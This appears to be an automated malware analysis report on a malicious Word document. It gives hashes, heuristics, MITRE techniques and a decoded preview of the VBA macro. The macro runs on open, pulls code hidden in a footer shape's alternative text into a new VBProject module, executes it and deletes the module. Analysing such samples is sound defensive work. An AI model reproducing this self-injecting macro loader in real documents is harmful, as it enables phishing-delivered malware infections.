Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c370b08695bc848…

MALICIOUS

Office (OLE)

43.0 KB Created: 2017-11-30 19:06:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: a4c4d3ea684ce4e5230b4af120f4c2c5 SHA-1: 4be09afa8adcc59f9292ed5db2000c3fceb8b20d SHA-256: 1c370b08695bc84870eb2dcc84934946ae420ee4a1ee4ed6be394225542e0e52
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The presence of AutoOpen and Auto_Open macros indicates that the macro will execute automatically when the document is opened. The script attempts to add a new component to the VBProject, then runs a command constructed from the component's name and the string '.R'. Finally, it removes the added component. This behavior suggests the macro is designed to download and execute a second-stage payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1708 bytes
SHA-256: 225ed6a6ca0e9d741a2fd4efea36ddaada83842972e8043aa57f7dc7808fadb8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

                                                                                                                                                                                                                                                        
' Processing file: /opt/analyzer/scan_staging/c1d5074e877149d78e8791f1476f28f9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1127 bytes
' Macros/VBA/MyDocument - 1462 bytes
' Line #0:
' 	FuncDefn (Sub Auto_Open())
' Line #1:
' 	Dim 
' 	VarDefn phRic (As Object)
' Line #2:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Add 0x0001 
' 	Set phRic 
' Line #3:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	ArgsMemLd Sections 0x0001 
' 	ArgsMemLd Footers 0x0001 
' 	MemLd Range 
' 	ArgsMemLd InlineShapes 0x0001 
' 	MemLd AlternativeText 
' 	Ld phRic 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #4:
' 	Ld phRic 
' 	MemLd Name 
' 	LitStr 0x0002 ".R"
' 	Concat 
' 	Ld Application 
' 	ArgsMemCall Run 0x0001 
' Line #5:
' 	Ld phRic 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Remove 0x0001 
' Line #6:
' 	EndSub 
' Line #7:
' 	FuncDefn (Sub AutoOpen())
' Line #8:
' 	ArgsCall Auto_Open 0x0000 
' Line #9:
' 	EndSub 
' Line #10:
' Line #11: